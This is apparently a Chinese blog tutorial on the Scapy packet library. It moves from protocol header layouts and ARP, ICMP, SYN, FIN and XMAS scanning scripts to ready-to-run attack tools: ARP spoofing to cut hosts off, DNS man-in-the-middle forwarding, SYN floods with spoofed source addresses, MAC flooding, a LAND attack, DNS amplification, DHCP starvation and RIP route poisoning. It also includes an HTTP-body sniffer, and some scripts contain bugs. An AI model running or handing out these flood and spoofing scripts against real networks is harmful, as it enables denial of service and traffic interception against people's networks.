简介
Scapy 是一个功能强大的 Python 工具,允许用户发送、嗅探、解析和伪造网络数据包。它提供了丰富的网络操作功能,使得构建可探测、扫描或攻击网络的工具变得更加简单。 
更多详细内容请参考Scapy的官方文档:Scapy 文档
安装库
pip install scapy可以通过终端直接调用scapy使用
基础使用
sr()
发送三层数据包,等待接收一个或者多个数据包的响应
sr1()
发送三层数据包,只会接收一个数据包的响应
srp()
发送二层数据包,然后一直等待回应
srp1()
发送二层发送数据包,只返回第一个答案
send()
只发送三层数据包,系统自动处理路由和两层信息
sendp()
只发送二层数据包
带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口
不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口常用的协议
Ether 以太网协议
ARP ARP协议
IP IP协议
UDP UDP协议
TCP TCP协议
ICMP ICMP协议列出协议字段
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : FieldLenField = (None)
plen : FieldLenField = (None)
op : ShortEnumField = (1)
hwsrc : MultipleTypeField = (None)
psrc : MultipleTypeField = (None)
hwdst : MultipleTypeField = (None)
pdst : MultipleTypeField = (None)获取帮助
>>> help(send)
Help on function send in module scapy.sendrecv:
send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs)
Send packets at layer 3
send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False], # noqa: E501
[socket=None]) -> None
构建 ICMP 包
>>> packet =IP(src='192.168.1.115',dst='192.168.1.1')/ICMP()
>>> packet
<IP frag=0 proto=icmp src=192.168.1.1 dst=192.168.1.2 |<ICMP |>>
查看数据包信息
>>> packet.show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 192.168.1.115
dst= 192.168.1.1
\options\
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
开启数据嗅探
>>> sniff(filter='tcp',count=5) #捕获5个包
<Sniffed: TCP:5 UDP:0 ICMP:0 Other:0>
>>> sniff(stop_filter=lambda x: x.haslayer(TCP)) #检测到TCP则停止
<Sniffed: TCP:1 UDP:0 ICMP:0 Other:0>
查看本地网卡
>>> show_interfaces()
INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True)
Source Index Name MAC IPv4 IPv6
libpcap 1 Software Loopback I_ 00:00:00:00:00:00 127.0.0.1 ::1
libpcap 10 Microsoft Wi-Fi Dir_ 9a:3b:8f:e7:a0:4a 169.254.248.16 fe80::404d:f9d:dd6b:_
libpcap 12 WAN Miniport (IP)
libpcap 15 VMware Virtual Ethe_ 00:50:56:c0:00:08 192.168.18.1 fe80::4194:c468:a971_
libpcap 18 WAN Miniport (IPv6)
libpcap 2 Microsoft Wi-Fi Dir_ 98:3b:8f:e7:a0:4b 169.254.172.205 fe80::84bd:aa4e:25e9_
libpcap 20 WAN Miniport (Netwo_
libpcap 21 VMware Virtual Ethe_ 00:50:56:c0:00:01 192.168.25.1 fe80::b0e6:8f17:ddb1_
libpcap 4 Intel(R) Wireless-A_ 98:3b:8f:e7:a0:4a 192.168.3.39 fe80::3df7:857b:82ec_
libpcap 5 OrayBoxVPN Virtual _ 00:25:e1:00:10:00 172.16.0.226
libpcap 6 Realtek PCIe GbE Fa_ 04:92:26:14:5d:17 169.254.17.179 fe80::ed09:65ab:81af_IP 头部
| IPv4 | ||
|---|---|---|
| Version 版本号 | IHL 首部长度 | Total Length 总长度 |
| Identification 标识 | Flags 标志 | Fragment Offset 片偏移 |
| Time To Live 生存时间 | Protocol 协议 | Header Checksum 首部校验和 |
| Source Address 源地址 | Destination Address 目标地址 | |
| Options 可选字段 | Padding 填充 | |
| Data 数据部分 |
| IPV6 | ||
|---|---|---|
| Version 版本号 | Traffic class 流量分类 | Flow Label 流量标签 |
| Payload length 负载长度 | Next Header 下一个头部 | Hop Limit 跳数 |
| Source Address 源地址 | Destination Address 目标IP地址 |
TCP协议提供一种面向连接的、可靠的字节流服务。
面向连接: 两个使用TCP的应用 通常是一个客户端 和一个服务端在彼此交换数据之前必须建立一个TCP连接,
TCP建立连接需要进行三次握手,结束时时需要四次挥手即可断开连接 。
TCP六个标志位:
URG:表示紧急指针是否有效;
ACK:表示确认号是否有效,携带ACK标志的数据报文段为确认报文段;
PSH:提示接收端的应用程序应该立即从TCP接受缓冲区中读走数据,为接受后数据腾出空间;
RST:表示要求对方重新建立连接,携带RST标志位的TCP报文段称为复位报文段;
SYN:表示请求建立一个连接,携带SYN标志的TCP报文段称为同步报文段;
FIN:通知对方本端要关闭了,带FIN标志的TCP报文段称为结束报文段;
TCP 报文结构

| version | 版本号 |
| ihl | 首部长度 |
| tos | 区分服务类型 |
| len | 总长度 |
| id | 标识 |
| flags | 标志 |
| frag | 片偏移 |
| ttl | 生存时间 |
| proto | 协议类型 |
| chksum | 首部校验和 |
| src | 源地址 |
| dst | 目标地址 |
| options | 可选字段 |
UDP 头部
| Source Port 源端口 | Destination Port 目的端口 |
| Length 包长度 | Check Sum 校验和 |
| Data 数据 |
(1)源端口(Source Port):16位的源端口域包含初始化通信的端口号。源端口和IP地址的作用是标识报文的返回地址。
(2)目的端口(Destination Port):6位的目的端口域定义传输的目的。这个端口指明报文接收计算机上的应用程序地址接口。
(3)封包长度(Length):UDP头和数据的总长度。
(4)校验和(Check Sum):和TCP和校验和一样,不仅对头数据进行校验,还对包的内容进行校验。
UDP 报文结构

| sport | 源端口 |
| dport | 目标端口 |
| len | 包长度 |
| chksum | 校验和 |
这样可以更清晰地展示每个字段的含义。
ICMP 头部
| ICMP | ||
|---|---|---|
| type 类型 | code 代码 | checksum 校验和 |
| type和code不同时值不同 | 原始ip数据报内容 |
icmp是Internet控制报文协议,它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息,这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP 报文结构

ARP 头部
| ARP | ||
|---|---|---|
| 硬件类型 | 协议类型 | |
| 硬件地址长度 | 协议长度 | 操作类型 |
| 发送方的硬件地址(0-3字节) | 源物理地址(4-5字节) | |
| 源IP地址(0-1字节) | 源IP地址(2-3字节) | |
| 目标硬件地址(0-1字节) | 目标硬件地址(2-5字节) | |
| 目标IP地址(0-3字节) |
ARP 报文结构

DNS 头部
ID: 长度为16位,是一个用户发送查询的时候定义的随机数,当服务器返回结果的时候,返回包的ID与用户发送的一致。
QR: 长度1位,值0是请求,1是应答。
Opcode: 长度4位,值0是标准查询,1是反向查询,2死服务器状态查询。
AA: 长度1位,授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权
解析服务器。
TC: 长度1位,截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。
RD: 长度1位,期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建
议域名服务器进行递归解析,递归查询的支持是可选的。
RA: 长度1位,支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。
Z: 长度3位,保留值,值为0.
RCode: 长度4位,应答码,类似http的stateCode一样,值0没有错误、1格式错误、2服务器错误、3名字错误、4服务器不支持、
DNS 报文结构

ARP 单主机扫描
from scapy.all import *
ip = "192.168.5.4"
p = ARP(pdst=ip)
ans = sr1(p,timeout=1)
if ans != None:
ans.display()
print(ip,"host is up.")
else:
print(ip,"host is down.")
ARP 多主机扫描
from scapy.all import ARP, Ether, srp
import ipaddress
target_ip = input("请输入目标IP地址/掩码(例如:192.168.1.0/24):")
# 解析IP地址/掩码并检查是否有错误
try:
network = ipaddress.ip_network(target_ip)
except ValueError:
print("请输入合法的IP地址/掩码!")
else:
# 构造ARP请求包
arp = ARP(pdst=target_ip)
# 构造以太网数据包
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = ether / arp
result = srp(packet, timeout=3, verbose=0)[0]
# 处理响应数据包
clients = []
for sent, received in result:
# 提取响应的MAC和IP地址
clients.append({'ip': received.psrc, 'mac': received.hwsrc})
# 输出扫描结果
print("扫描结果:")
print(" IP地址\t\t MAC地址")
for client in clients:
print("{:<16}{}".format(client['ip'], client['mac']))PING 主机扫描
import threading
from scapy.all import *
ips = []
ip_range = "192.168.1.0-254"
ip_list = ip_range.split("-")
start_ip = ip_list[0]
end_ip = ip_list[1]
start_index = int(start_ip.split(".")[-1])
end_index = int(end_ip.split(".")[-1])
ips = [f"{start_ip.rsplit('.', 1)[0]}.{i}" for i in range(
start_index, end_index + 1)]
def scan(ip):
p = IP(dst=ip)/ICMP()
ans = sr1(p, iface="Intel(R) Wireless-AC 9560 160MHz", timeout=1)
if ans != None:
ips.append(ip)
threads = []
for ip in ips:
t = threading.Thread(target=scan, args=(ip,))
threads.append(t)
t.start()
for t in threads:
t.join()
print(ips)SYN 端口扫描
from scapy.all import *
ip = "192.168.5.4"
port = 80
p = IP(dst=ip)/TCP(dport=int(port))
ans = sr1(p,timeout=1,verbose=1)
if ans[TCP].flags == 'SA':
print(ip,"port",port,"is open.")
else:
print(ip,"port",port,"is closed.")
SYN 多线程端口扫描
from scapy.all import *
import threading
from tqdm import tqdm
target_host = input("请输入要扫描的目标主机IP地址 如:(192.168.1.100):")
port_range = input("请输入要扫描的端口范围 如:(1-3000):")
output_file = input("请输入结果输出文件名 如:(1.txt):")
# 解析端口范围
min_port, max_port = map(int, port_range.split("-"))
# 设置超时时间
timeout = 1
# 创建锁对象,以便在输出结果时避免竞争条件问题
print_lock = threading.Lock()
# 定义写文件函数
def write_result(ip, port):
with open(output_file, "a") as f:
f.write(f"{ip}:{port}\n")
# 定义线程函数
def scan_port(port):
# 创建TCP SYN包
packet = IP(dst=target_host)/TCP(dport=port, flags="S")
# 发送数据包并获取响应
response_packet = sr1(packet, timeout=timeout, verbose=False)
# 解析响应数据包
if response_packet is None:
with print_lock:
# 使用tqdm库更新进度条
pbar.update(1)
elif response_packet.haslayer(TCP) and response_packet.getlayer(TCP).flags == 0x12:
# 如果收到SYN-ACK响应,则说明端口开放
with print_lock:
# 使用tqdm库更新进度条
pbar.update(1)
write_result(target_host, port)
else:
with print_lock:
# 使用tqdm库更新进度条
pbar.update(1)
# 创建线程列表
threads = []
# 使用tqdm库创建进度条,总数为需要扫描的端口数量
pbar = tqdm(total=max_port-min_port+1)
# 遍历所有需要扫描的端口,并创建一个线程来执行scan_port函数
for port in range(min_port, max_port+1):
thread = threading.Thread(target=scan_port, args=(port,))
threads.append(thread)
thread.start()
# 等待所有线程执行完毕
for thread in threads:
thread.join()
# 关闭进度条
pbar.close()FIN 端口扫描
from scapy.all import *
ip = "192.168.5.4"
port = 80
p=IP(dst=ip)/TCP(dport=int(port),flags="F")
ans=sr1(p,timeout=1,verbose=1)
if ans==None:
print(ip,"port",port,"is open.")
elif ans!=None and ans[TCP].flags=='RA':
ans.display()
print(ip,"port",port,"is closed.")XMAS 端口扫描
XMAS扫描和NULL扫描是FIN扫描的两个变种,XMAS扫描打开FIN URG ACK PSH RST SYN标记并且全部置1。(原理和SYN差不多)
from scapy.all import *
ip = "192.168.5.4"
port = 80
p = IP(dst=ip)/TCP(dport=int(port),flags="FPU")
ans = sr1(p,timeout=1,verbose=1)
if ans == None:
print(ip,"port",port,"is open.")
elif ans!=None and ans[TCP].flags=='RA':
ans.display()
print(ip,"port",port,"is closed.")
ICMP 多线程扫描
from scapy.all import *
import threading
import argparse
import ipaddress
import os
import sys
# 发送ICMP请求,判断是否存活
def icmp_requset(ip_dst, iface=None):
pkt = Ether()/IP(dst=ip_dst) / ICMP(type=8)
req = srp1(pkt, timeout=3, verbose=False)
if req:
print('[+]', ip_dst, ' Host is up')
#进行子网的多线程扫描
def icmp_scan(network):
threads = []
length = len(network)
for ip in network:
t = threading.Thread(target=icmp_requset, args=(str(ip),))
threads.append(t)
for i in range(length):
threads[i].start()
for i in range(length):
threads[i].join()
# 参数选项
def main():
# Windows下注释掉这段
# 判断是否为root
if os.getuid() != 0:
print('[-]Need root user to run')
sys.exit(1)
parser = argparse.ArgumentParser()
parser.add_argument('network', help='eg:192.168.1.0/24')
args = parser.parse_args()
network = list(ipaddress.ip_network(args.network))
icmp_scan(network)
if __name__ == '__main__':
main()流量抓包
from scapy.all import *
def capture(x):
if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP':
print('dst ip:', x.payload.dst)
try:
request_body = x.lastlayer().original
request_body = request_body.decode('utf-8')
except:
request_body = str(x.lastlayer().original)
if 'allall01.baidupcs.com' in request_body:
return
if 'netdisk' in request_body:
return
if 'baidu' in request_body:
return
print('request body:', request_body)
def main():
sniff(filter="tcp", prn=lambda x: capture(x))
if __name__ == '__main__':
main()ARP 断网攻击
from scapy.all import *
import time
# pdst是目标IP,psrc是网关的ip
p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="90:A4:07:1B:4A:E9") / \
ARP(pdst="192.168.20.133", psrc="192.168.1.101")
while True:
sendp(p1)
time.sleep(.1)视频效果
ARP 本地防御
# 以管理员身份运行cmd
netsh i i show in # 列出本地网卡的 IDX 编号
netsh -c i i add neighbors 7 192.168.1.1 00-25-83-01-10-00 # IDX 编号为 7 网关 + 网关MAC地址 回车即可绑定静态MAC地址
netsh -c i i delete neighbors 7 192.168.1.1 # 删除绑定更改为动态DNS 中间人攻击
from scapy.all import *
wlan2="VMware Virtual Ethernet Adapter for VMnet8"
dns_server="192.168.146.130" # win2008已搭好的dns服务器
dnsdst=""
def rev(p):
global dnsdst
try:
pip=p[IP]
pudp=[UDP]
pdns=p[DNS]
if p.dport==53 and pip.dst=="192.168.146.2":# 这个包是win7向网关的请求包
dnsdst=pip.src
send(IP(src="192.168.146.1",dst=dns_server,ttl=55)/UDP(sport=p[UDP].sport,dport=53)/pdns,iface=wlan2)
print("转发查询信息成功",dnsdst)
elif p.sport==53 and pip.src==dns_server: #这一个包是搭建的DNS给自己回的包
#print(dnsdst)
send(IP(src="192.168.146.2",dst="192.168.146.129",ttl=55)/UDP(sport=53,dport=p[UDP].dport)/pdns,iface=wlan2)
print("转发响应信息成功")
except :
pass
print("开始攻击")
sniff(iface=wlan2,filter="udp port 53",timeout=300,prn=rev)SYN FLOOD 攻击
# 第一版
from scapy.all import *
import random
def synFlood():
while True:
# 构造随机的源IP
src='%i.%i.%i.%i'%(
random.randint(1,255),
random.randint(1, 255),
random.randint(1, 255),
random.randint(1, 255)
)
# 构造随机的端口
sport=random.randint(1024,65535)
IPlayer=IP(src=src,dst='192.168.1.104')
TCPlayer=TCP(sport=sport,dport=445,flags="S")
packet=IPlayer/TCPlayer
send(packet)
if __name__ == '__main__':
synFlood()
# 第二版
from scapy.all import *
ip = IP(src=RandIP(), dst="192.168.1.104")
syn = TCP(sport=RandShort(), dport=445, flags="S", seq=1000)
send(ip/syn, inter=0.001, loop=1)SYN FLOOD 完整版
from scapy.all import *
import random
# 生成随机的IP
def randomIP():
ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
return ip
# 生成随机端口
def randomPort():
port=random.randint(1000,10000)
return port
# syn-flood
def synFlood(count,dstIP,dstPort):
total=0
print("Packets are sending ...")
for i in range(count):
#IPlayer
srcIP=randomIP()
dstIP=dstIP
IPlayer = IP(src=srcIP,dst=dstIP)
#TCPlayer
srcPort=randomPort()
TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
#发送包
packet = IPlayer / TCPlayer
send(packet)
total+=1
print("Total packets sent: %i" % total)
# 显示的信息
def info():
print("#"*30)
print("# Welcome to SYN Flood Tool #")
print("#"*30)
# 输入目标IP和端口
dstIP = input("Target IP : ")
dstPort = int(input("Target Port : "))
return dstIP, dstPort
if __name__ == '__main__':
dstIP, dstPort=info()
count=int(input("Please input the number of packets:"))
synFlood(count,dstIP,dstPort)MAC 泛洪攻击
from scapy.all import *
#定义网卡接口
iface='eth0'
while True:
#随机MAC
randmac=RandMAC("*:*:*:*:*:*")
#随机IP
randip=RandIP("*.*.*.*")
#构造数据包
packet=Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)/ICMP()
sendp(packet,iface=iface,loop=0)MAC 泛洪完整版
from scapy.all import *
import random
# 生成随机的MAC
def randomMAC():
randmac = RandMAC("*:*:*:*:*:*")
return randmac
# 生成随机的IP
def randomIP():
ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
return ip
# Mac-flood
def macFlood(count):
total = 0
print("Packets are sending ...")
for i in range(count):
packet = Ether(src=randomMAC(), dst=randomMAC()) / IP(src=randomIP(), dst=randomIP()) / ICMP()
sendp(packet, iface='eth0', loop=0)
total+=1
print("Total packets sent: %i" % total)
if __name__ == '__main__':
print("#" * 30)
print("# Welcome to Mac Flood Tool #")
print("#" * 30)
count = int(input("Please input the number of packets:"))
macFlood(count)LAND 攻击
import scapy.all as scapy
import time
target = input("Please input your target:") # 输入想要攻击的ip地址
port = input("Please input your target's port:") # 输入端口
port = int(port) # 因为input接收的是str,所以要转换成int型
send_packets=0 # 记录发送包的数量
try:
while True:
a = (scapy.IP(src=target,dst=target)/scapy.TCP(sport=port,dport=port)) #构造LAND attack攻击包
scapy.send(a,verbose=False)
send_packets+=1 #发送一个,自动加一
print("[+] Sent Packets:" + str(send_packets))
time.sleep(1)
except KeyboardInterrupt:
print("[-] Ctrl+C detected.......")DNS 放大攻击
from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)DHCP 欺骗攻击
from scapy.all import *
import random
def dhcp_discover(iface):
while True:
xid_random = random.randint(1, 900000000)
mac_random = str(RandMAC())
dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
IP(src='0.0.0.0',dst='255.255.255.255')/
UDP(sport=68,dport=67)/
BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
DHCP(options=[('message-type','discover')]
))
sendp(dhcp_discover,iface=iface)
if __name__ == '__main__':
iface = 'eth0'
dhcp_discover(iface)RIP 攻击
from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send
packet = sniff(stop_filter=lambda x:x.haslayer(RIP))
mac_dst= packet[-1][Ether].dst
mac_src= packet[-1][Ether].src
ip = packet[-1][RIPEntry].addr
entry = packet[-1][RIPEntry]
ripentry = RIPEntry(addr=ip,metric=16)
#判断是否有多个路由信息
if entry.getlayer(RIPEntry,2):
while entry:
#获取下一个路由信息
entry = entry.getlayer(RIPEntry, 2)
ip = entry.addr
ripentry = ripentry / RIPEntry(addr=ip, metric=16)
rip = (Ether(dst=mac_dst,src=mac_src)
/IP(dst="224.0.0.9",src=ip)
/UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry)
while True:
packet.show()
send(packet,verbose=0)
评论 (0)